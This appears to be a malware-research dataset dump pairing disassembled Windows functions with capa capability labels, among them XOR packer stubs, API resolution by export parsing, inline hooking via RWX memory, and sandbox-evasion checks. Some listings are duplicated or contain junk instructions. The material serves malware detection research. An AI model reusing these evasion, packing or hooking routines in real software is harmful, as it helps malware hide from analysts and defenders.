joyce8/EMBER2024-capa huggingface dataset:
Function at 0x77931f01
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x77931f23
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x77931f23
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x77931f23
ret
cmp word [ebx + 4], 0x14c
jne 0x77931f23
test word [ebx + 0x16], 2
je 0x77931f23
test word [ebx + 0x16], 0x100
je 0x77931f23
cmp word [ebx + 0x18], 0x10b
jne 0x77931f23
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x77931f23
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x77931faf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x77931f43
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77918e8e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x77931f23
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x77931faf
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x77931f23
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x77931f23
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x77931f23
ret
cmp word [ebx + 4], 0x14c
jne 0x77931f23
test word [ebx + 0x16], 2
je 0x77931f23
test word [ebx + 0x16], 0x100
je 0x77931f23
cmp word [ebx + 0x18], 0x10b
jne 0x77931f23
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x77931f23
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x77931faf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x77931f43
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77918e8e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x77931f23
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x77932066
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x779320bf
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77932066
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77932075
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77d37d18
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x779320c6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77918f3c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x77932165
add edi, 4
add eax, 2
dec ecx
jne 0x779320ab
call 0x77932112
loope 0x77932108
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77932162
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77932173
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x77932126
cmp eax, ecx
ja 0x77932126
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x779321b0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x779321a6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7791941b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x77932075
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x779320bf
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77932066
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77932075
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77d37d18
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x779320c6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77918f3c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x77932165
add edi, 4
add eax, 2
dec ecx
jne 0x779320ab
call 0x77932112
loope 0x77932108
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77932162
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77932173
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x77932126
cmp eax, ecx
ja 0x77932126
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x779321b0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x779321a6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7791941b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3885580a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x641b7220
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10005800
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10071008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1007237c]
push ebx
mov ebx, dword [ebp + 8]
push esi
cmp dword [eax + 0x18], 0xffffffff
push edi
mov dword [ebp - 0x10], eax
je 0x100058cd
mov edi, dword [ebp + 0xc]
lea eax, [edi + 8]
push eax
mov dword [ebp - 0xc], eax
call fcn.1000e9af
mov esi, eax
add esp, 4
test esi, esi
je 0x100058cd
mov dword [esi], 0xa11ce
lea eax, [esi + 8]
mov dword [esi + 4], edi
test edi, edi
je 0x10005884
test eax, eax
je 0x10005874
push edi
test ebx, ebx
je 0x10005869
push ebx
push eax
call fcn.10011aa0
add esp, 0xc
jmp 0x10005884
push 0
push eax
call fcn.1000fe50
add esp, 0xc
call fcn.1001229c
mov dword [eax], 0x16
call fcn.100121c2
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp - 0xc]
mov dword [ebp - 8], 0
push esi
push dword [ebx + 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebx + 0x18]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call fcn.1000e9aa
add esp, 4
test edi, edi
setne al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000e95b
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000e95b
mov esp, ebp
pop ebp
ret 8
Function at 0x100058f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b2d8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10071008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
mov esi, dword [0x1007237c]
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], ecx
mov eax, dword [esi + 0x18]
cmp eax, 0xffffffff
je 0x100059da
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push ecx
mov byte [ebp - 0x24], cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x20]
push ecx
push 8
lea ecx, [ebp - 0x2c]
movq qword [ebp - 0x2c], xmm0
push ecx
push eax
call ebx
test eax, eax
je 0x100059d7
push dword [esi + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call edi
cmp dword [ebp - 0x2c], 0xa11ce
jne 0x100059d7
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x28]
mov ecx, eax
call fcn.100044a0
push 0
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x28]
push dword [ebp - 0x1c]
push dword [esi + 0x18]
call ebx
test eax, eax
je 0x100059d7
push dword [esi + 0x18]
call edi
mov esi, dword [ebp - 0x1c]
mov edx, esi
lea edi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x100059b7
mov ecx, dword [ebp - 0x30]
sub edx, edi
sar edx, 1
push edx
push esi
call fcn.10001860
mov ecx, dword [ebp - 0x1c]
mov bl, 1
jmp 0x100059dc
mov ecx, dword [ebp - 0x1c]
xor bl, bl
test ecx, ecx
je 0x10005a09
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x100059ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10005a29
push edx
push ecx
call fcn.1000e99c
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000e95b
mov esp, ebp
pop ebp
ret 4
call fcn.100121d2
int3
Function at 0x10005b90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10071008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x10005c27
push 0
lea ecx, [ebp - 8]
mov byte [ebp - 0xc], 0
push ecx
push 8
lea ecx, [ebp - 0x14]
mov dword [ebp - 8], 0
push ecx
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10005c27
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
cmp dword [ebp - 0x14], 0xa11ce
jne 0x10005c27
push ebx
push dword [ebp - 0x10]
mov ecx, ebx
call fcn.100044a0
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
push dword [ebx]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10005c27
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000e95b
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor al, al
pop esi
xor ecx, ebp
pop ebx
call fcn.1000e95b
mov esp, ebp
pop ebp
ret 4

Function at 0x10005c40
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10071008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 1
lea eax, [ebp - 0x18]
mov dword [ebp - 8], 0
xorps xmm0, xmm0
mov edi, ecx
push eax
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
cmp dword [edi + 0x14], 8
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, edi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0xc
jb 0x10005c9c
mov eax, dword [edi]
lea ecx, [ebp - 0x24]
push ecx
push 0
push 0
push 1
push 0xff
push 0
push 3
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005d00
push 0
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x10005d00
push 0
push 0
push esi
push 0x10005d20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10005d00
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10005c40
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000e95b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.1000e95b
mov esp, ebp
pop ebp
ret
Function at 0x10005fd0
Capabilities:
Allocate or change rwx memory
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10071008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
push edi
lea ecx, [esi + 8]
mov byte [esi + 0xc], 0
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], eax
call fcn.10005db0
xor al, al
cmp dword [esi + 4], 0
mov byte [ebp - 9], al
jne 0x10006048
mov edi, dword [esi + 8]
xor eax, eax
nop word [eax + eax]
mov cl, byte [edi + eax - 5]
cmp cl, 0x90
je 0x1000602e
cmp cl, 0xcc
jne 0x10006069
inc eax
cmp eax, 5
jb 0x10006020
mov al, 1
mov dl, al
mov byte [ebp - 9], al
mov ecx, edi
call fcn.10005e50
mov dword [esi + 4], eax
mov al, byte [ebp - 9]
mov ecx, dword [esi + 4]
test al, al
je 0x1000606d
cmp ecx, 2
jae 0x10006072
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000e95b
mov esp, ebp
pop ebp
ret 0x10
xor al, al
jmp 0x10006036
cmp ecx, 5
jb 0x10006054
push 0x40
push 0x1000
lea eax, [ecx + 5]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
test eax, eax
je 0x10006054
mov eax, dword [esi + 4]
mov ebx, 5
mov dl, byte [ebp - 9]
mov edi, 2
mov ecx, dword [esi + 8]
test dl, dl
cmove edi, ebx
lea ebx, [eax + 5]
cmove ebx, eax
lea eax, [ecx - 5]
mov dword [ebp - 0x10], ebx
cmove eax, ecx
lea ecx, [ebp - 8]
push ecx
push 0x40
push ebx
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10006054
mov ecx, dword [ebp - 0x14]
mov eax, dword [esi]
mov dword [ecx], eax
mov edx, dword [esi + 4]
mov ecx, dword [esi]
push edx
push dword [esi + 8]
call fcn.10001b70
mov ecx, dword [esi]
add esp, 8
mov eax, dword [esi + 4]
mov byte [ecx + eax], 0xe9
mov ecx, dword [esi + 8]
mov edx, dword [esi]
sub ecx, edx
mov eax, dword [esi + 4]
sub ecx, 5
cmp byte [ebp - 9], 0
mov dword [eax + edx + 1], ecx
mov eax, dword [esi + 8]
je 0x1000611e
mov byte [eax - 5], 0xe9
mov ecx, dword [esi + 8]
mov eax, dword [ebp + 8]
sub eax, ecx
mov dword [ecx - 4], eax
mov ecx, 0xf9eb
mov eax, dword [esi + 8]
mov word [eax], cx
jmp 0x1000612f
mov byte [eax], 0xe9
mov ecx, dword [esi + 8]
mov eax, dword [ebp + 8]
sub eax, ecx
sub eax, 5
mov dword [ecx + 1], eax
cmp edi, dword [esi + 4]
jae 0x10006141
mov eax, dword [esi + 8]
mov byte [edi + eax], 0x90
inc edi
cmp edi, dword [esi + 4]
jb 0x10006134
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
mov eax, esi
je 0x10006056
mov ecx, dword [ebp - 4]
pop edi
mov byte [esi + 0xc], 1
xor ecx, ebp
pop esi
pop ebx
call fcn.1000e95b
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10042c6f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10042c7e
pop dword [ebp - 0x18]
mov eax, 0xac3dacb1
sub eax, 0x9c398033
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x49bc4803
add dword [ebp - 0x28], 0x495fd48
mov dword [ebp - 0x24], 0x9031dab6
add dword [ebp - 0x24], 0xa201718f
mov dword [ebp - 0x20], 0xf74d10dd
add dword [ebp - 0x20], 0x54ff3351
mov dword [ebp - 0x1c], 0x9d887382
sub dword [ebp - 0x1c], 0x9d887382
lea eax, [ebp - 0x28]
push eax
mov eax, 0x6e8fe603
sub eax, 0x5e89e5f3
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x859bea8e
add dword [ebp - 0x28], 0xeed67ec8
mov dword [ebp - 0x24], 0x4f12c64d
add dword [ebp - 0x24], 0xf2599b28
mov dword [ebp - 0x20], 0x9846d5c0
add dword [ebp - 0x20], 0xcb2896ac
mov dword [ebp - 0x1c], 0x818a55fb
add dword [ebp - 0x1c], 0x7e75aa05
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x278a4b9d
sub eax, 0x17844b89
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x58569
push 0
call eax
mov ecx, 0xecafcc46
add ecx, 0x1350856e
mov edi, eax
mov ebx, 0x1008bc00
add ebx, dword [ebp - 0x18]
mov edx, 0x6bade45f
mov dword [ebp - 0x14], 0xa4ee4d21
mov esi, dword [ebx]
add dword [ebp - 0xc], edx
sub esi, edx
xor dword [ebp - 0xc], edx
mov dword [edi], esi
mov dword [ebp - 0x10], 0x87dfc9ee
add edi, 0x18eb05b5
sub edi, 0x18eb05b1
add ebx, 0x78790beb
sub ebx, 0x78790be7
loop 0x10042d94
add eax, 0x96b6670f
sub eax, 0x96b52d6c
mov ebx, eax
add eax, 0x9cb2bbf6
sub eax, 0x9cb2bbf1
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x636352d4
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x82f60b5
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x402d68
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x4083a8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x244
push edi
xor esi, esi
lea eax, [ebp - 0x248]
push esi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push edi
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x402db7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00402eb8
leave
ret
push str.kernel32.dll
lea eax, [ebp - 0x248]
push 0x122
push eax
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
cmp edi, esi
je 0x402da7
push str.HeapSetInformation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x402dff
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x402da9
push esi
push esi
push 1
push esi
call eax
mov esi, eax
neg esi
sbb esi, esi
neg esi
jmp 0x402df4

Function at 0x402eb8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4083a8]
jne 0x402ec2
repz ret
jmp fcn.0040340c

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403008]
cmp eax, 0
jne 0x401021
mov eax, dword [0x40300c]
cmp eax, 0
jne 0x401021
jmp 0x4010b6
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401021
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x401021
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401021
mov eax, dword [0x403008]
cmp eax, 0
je 0x401093
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401067
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x401021
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401067
mov eax, dword [0x40300c]
cmp eax, 0
je 0x4010b6
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401093
cmp eax, dword [ebp - 0x14]
je 0x401093
push dword [0x403000]
mov eax, 0x40301a
mov ebx, 0x40322a
sub ebx, eax
push ebx
push 0x40301a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push 0x40
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
push dword [0x403004]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push dword [eax]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
cmp al, 0x2d
int 0
add byte [esp + ecx - 0x43ffff30], bh
invalid